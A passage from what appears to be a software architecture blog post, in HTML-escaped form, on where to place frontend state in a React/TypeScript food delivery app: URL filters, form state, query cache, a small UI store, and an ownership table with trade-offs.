  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;idle&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;awaiting-vendor-confirmation&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="nl"&gt;foodId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="nl"&gt;nextVendorId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;submitting&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;foodId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;failed&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the UI cannot accidentally render contradictory states without TypeScript making the problem visible.&lt;/p&gt;

&lt;p&gt;This is a case where stateful design is not only necessary—it becomes safer when we model it honestly.&lt;/p&gt;

&lt;p&gt;There is another important rule here:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The frontend may predict a business rule for better UX, but the backend must still validate it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The cached basket can be stale. Another tab may have replaced it. A mobile client may have changed it. The frontend check improves the interaction; it does not become authorization or canonical validation.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Search and filters belong in the URL
&lt;/h2&gt;

&lt;p&gt;Now consider a restaurant search page:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/restaurants?q=pizza&amp;amp;sort=delivery-time&amp;amp;free-delivery=true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The search query, sort order, filters, and pagination are state.&lt;/p&gt;

&lt;p&gt;But they are not ordinary component state.&lt;/p&gt;

&lt;p&gt;Users expect to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Refresh the page without losing the result&lt;/li&gt;
&lt;li&gt;Share the URL&lt;/li&gt;
&lt;li&gt;Use browser Back and Forward&lt;/li&gt;
&lt;li&gt;Bookmark the current view&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That makes the URL the natural owner.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;useRestaurantFilters&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setParams&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useSearchParams&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;filters&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;q&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;sort&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;recommended&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;freeDelivery&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;free-delivery&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;true&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;updateFilter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;setParams&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

      &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;filters&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;updateFilter&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The dangerous design is to maintain the same filters independently in both URL state and a global store.&lt;/p&gt;

&lt;p&gt;Then we need bidirectional synchronization:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;URL → Store
Store → URL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which one wins after navigation?&lt;/p&gt;

&lt;p&gt;What happens during hydration?&lt;/p&gt;

&lt;p&gt;What happens when the user presses Back?&lt;/p&gt;

&lt;p&gt;The simplest synchronization strategy is often not to create the duplicate in the first place.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Keep form state inside the form boundary
&lt;/h2&gt;

&lt;p&gt;Checkout has a different type of state:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;CheckoutForm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;addressId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;recipientName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;phone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;deliveryNote&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;paymentMethod&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;online&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cash&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This state changes frequently, may be invalid, and often matters only until submission.&lt;/p&gt;

&lt;p&gt;It should usually be owned by the form rather than copied into the application store on every keystroke.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;CheckoutForm&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;form&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;useForm&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;CheckoutForm&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;defaultValues&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;addressId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;recipientName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;phone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;deliveryNote&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;paymentMethod&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;online&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;submitOrder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useSubmitOrder&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt; &lt;span class="na"&gt;onSubmit&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;handleSubmit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;submitOrder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mutate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="cm"&gt;/* controlled checkout fields */&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For a long multi-step checkout, we may persist a draft in &lt;code&gt;sessionStorage&lt;/code&gt; or on the backend.&lt;/p&gt;

&lt;p&gt;But persistence should answer a product requirement:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Should the draft survive navigation?
Should it survive refresh?
Should it survive closing the browser?
Should it be available on another device?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each “yes” moves the state to a longer-lived owner.&lt;/p&gt;

&lt;p&gt;We should not choose &lt;code&gt;localStorage&lt;/code&gt; simply because it is available.&lt;/p&gt;

&lt;p&gt;Storage is an architectural decision about lifetime, privacy, invalidation, and migration.&lt;/p&gt;




&lt;h2&gt;
  
  
  9. Use global client state for genuinely shared client concerns
&lt;/h2&gt;

&lt;p&gt;Not every shared value belongs to the server or URL.&lt;/p&gt;

&lt;p&gt;For example, the basket drawer may be opened from the header, a food card, or a recommendation section.&lt;/p&gt;

&lt;p&gt;That is a reasonable small UI store:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;BasketUiStore&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;isDrawerOpen&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;openDrawer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;closeDrawer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;useBasketUi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;create&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;BasketUiStore&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kd"&gt;set&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;isDrawerOpen&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;openDrawer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;isDrawerOpen&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
  &lt;span class="na"&gt;closeDrawer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;isDrawerOpen&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="p"&gt;}));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice what is not in this store:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;basketItems&lt;/span&gt;
&lt;span class="nx"&gt;basketSubtotal&lt;/span&gt;
&lt;span class="nx"&gt;restaurantMenu&lt;/span&gt;
&lt;span class="nx"&gt;foodAvailability&lt;/span&gt;
&lt;span class="nx"&gt;checkoutForm&lt;/span&gt;
&lt;span class="nx"&gt;searchFilters&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those values already have better owners.&lt;/p&gt;

&lt;p&gt;The fact that several components need data does not automatically mean Redux, Zustand, or Context should own it.&lt;/p&gt;

&lt;p&gt;“Shared” is not a storage strategy.&lt;/p&gt;




&lt;h2&gt;
  
  
  A practical state placement guide
&lt;/h2&gt;

&lt;p&gt;When I am not sure where a piece of frontend state belongs, I ask these questions in order:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3eabl8iqw8e7ixr4e514.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3eabl8iqw8e7ixr4e514.png" alt="Decision tree for placing frontend state" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The short version is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Can it be calculated?       → Derive it
Does the server own it?     → Query cache
Must the view be shareable? → URL
Is it a form draft?         → Form state
Does one component use it?  → Local state
Do several features use it? → Feature/app store
Must it survive the tab?    → Browser or backend persistence
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The final question is always:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What is the single source of truth?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Single source of truth does not mean putting all state in one global object.&lt;/p&gt;

&lt;p&gt;It means each individual piece of state has one clear owner.&lt;/p&gt;




&lt;h2&gt;
  
  
  The complete ownership map
&lt;/h2&gt;

&lt;p&gt;For our food delivery application, the result looks like this:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;State&lt;/th&gt;
&lt;th&gt;Owner&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Search query&lt;/td&gt;
&lt;td&gt;URL&lt;/td&gt;
&lt;td&gt;Shareable and navigation-aware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Restaurant filters&lt;/td&gt;
&lt;td&gt;URL&lt;/td&gt;
&lt;td&gt;Must survive refresh and Back/Forward&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Menu and availability&lt;/td&gt;
&lt;td&gt;Query cache&lt;/td&gt;
&lt;td&gt;Server-owned and potentially stale&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Canonical basket&lt;/td&gt;
&lt;td&gt;Backend&lt;/td&gt;
&lt;td&gt;Shared business state&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Basket snapshot&lt;/td&gt;
&lt;td&gt;Query cache&lt;/td&gt;
&lt;td&gt;Temporary browser representation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Guest basket ID&lt;/td&gt;
&lt;td&gt;Cookie/local storage&lt;/td&gt;
&lt;td&gt;Must survive refresh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Basket item count&lt;/td&gt;
&lt;td&gt;Derived calculation&lt;/td&gt;
&lt;td&gt;Already exists inside basket items&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Basket drawer visibility&lt;/td&gt;
&lt;td&gt;UI store&lt;/td&gt;
&lt;td&gt;Shared client-only interaction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Selected food image&lt;/td&gt;
&lt;td&gt;Local component state&lt;/td&gt;
&lt;td&gt;One component needs it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Checkout inputs&lt;/td&gt;
&lt;td&gt;Form state&lt;/td&gt;
&lt;td&gt;Temporary, high-frequency edits&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Checkout step&lt;/td&gt;
&lt;td&gt;Route or workflow state&lt;/td&gt;
&lt;td&gt;Depends on navigation requirements&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Order status&lt;/td&gt;
&lt;td&gt;Query cache or live subscription&lt;/td&gt;
&lt;td&gt;Server-owned and changes over time&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This table is more important than the library choices.&lt;/p&gt;

&lt;p&gt;We can replace Zustand with Redux.&lt;/p&gt;

&lt;p&gt;We can replace TanStack Query with another server-state solution.&lt;/p&gt;

&lt;p&gt;We can replace React Router with a framework router.&lt;/p&gt;

&lt;p&gt;If ownership remains clear, the architecture still has a chance to remain understandable.&lt;/p&gt;




&lt;h2&gt;
  
  
  What do we gain from this architecture?
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Smaller test surfaces
&lt;/h3&gt;

&lt;p&gt;Pure functions and presentational components do not require the entire application environment.&lt;/p&gt;

&lt;p&gt;We can test pricing rules, mapping, validation, and rendering without booting a router, query client, and global store for every test.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Fewer synchronization bugs
&lt;/h3&gt;

&lt;p&gt;We do not keep the same fact in URL state, component state, query cache, and global state simultaneously.&lt;/p&gt;

&lt;p&gt;Fewer copies mean fewer opportunities for disagreement.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Clearer feature ownership
&lt;/h3&gt;

&lt;p&gt;The basket package owns basket workflows.&lt;/p&gt;

&lt;p&gt;The API layer owns transport.&lt;/p&gt;

&lt;p&gt;The query cache owns fetched snapshots.&lt;/p&gt;

&lt;p&gt;The backend owns canonical business data.&lt;/p&gt;

&lt;p&gt;This becomes increasingly important when multiple teams work in the same monorepo.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Better reusability
&lt;/h3&gt;

&lt;p&gt;Stateless UI can be reused without importing the original page's hidden assumptions.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. More predictable scaling
&lt;/h3&gt;

&lt;p&gt;Explicit boundaries make it easier to split bundles, move a feature, introduce SSR, or later extract a microfrontend if the organization actually needs one.&lt;/p&gt;

&lt;p&gt;The architecture does not make those changes free, but it reduces the number of hidden dependencies we discover during them.&lt;/p&gt;




&lt;h2&gt;
  
  
  What does it cost?
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. More boundaries and files
&lt;/h3&gt;

&lt;p&gt;A &lt;code&gt;FoodCard&lt;/code&gt;, feature controller, API module, query definition, and pure transformation are more pieces than one component that does everything.&lt;/p&gt;

&lt;p&gt;For a small application, this can be unnecessary ceremony.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Ownership requires team discipline
&lt;/h3&gt;

&lt;p&gt;The structure only helps if engineers preserve it.&lt;/p&gt;

&lt;p&gt;If every urgent task bypasses the feature boundary and imports stores directly, the architecture slowly becomes theoretical.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Optimistic updates are difficult
&lt;/h3&gt;

&lt;p&gt;Rollback, duplicate requests, race conditions, and server reconciliation require careful design.&lt;/p&gt;

&lt;p&gt;The code feels fast to the user because the complexity moved into the workflow.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Server state is eventually inconsistent
&lt;/h3&gt;

&lt;p&gt;The browser cache is always a snapshot. We need explicit freshness, invalidation, and refetch strategies.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. There is still stateful code
&lt;/h3&gt;

&lt;p&gt;We have not eliminated complexity.&lt;/p&gt;

&lt;p&gt;We have concentrated it.&lt;/p&gt;

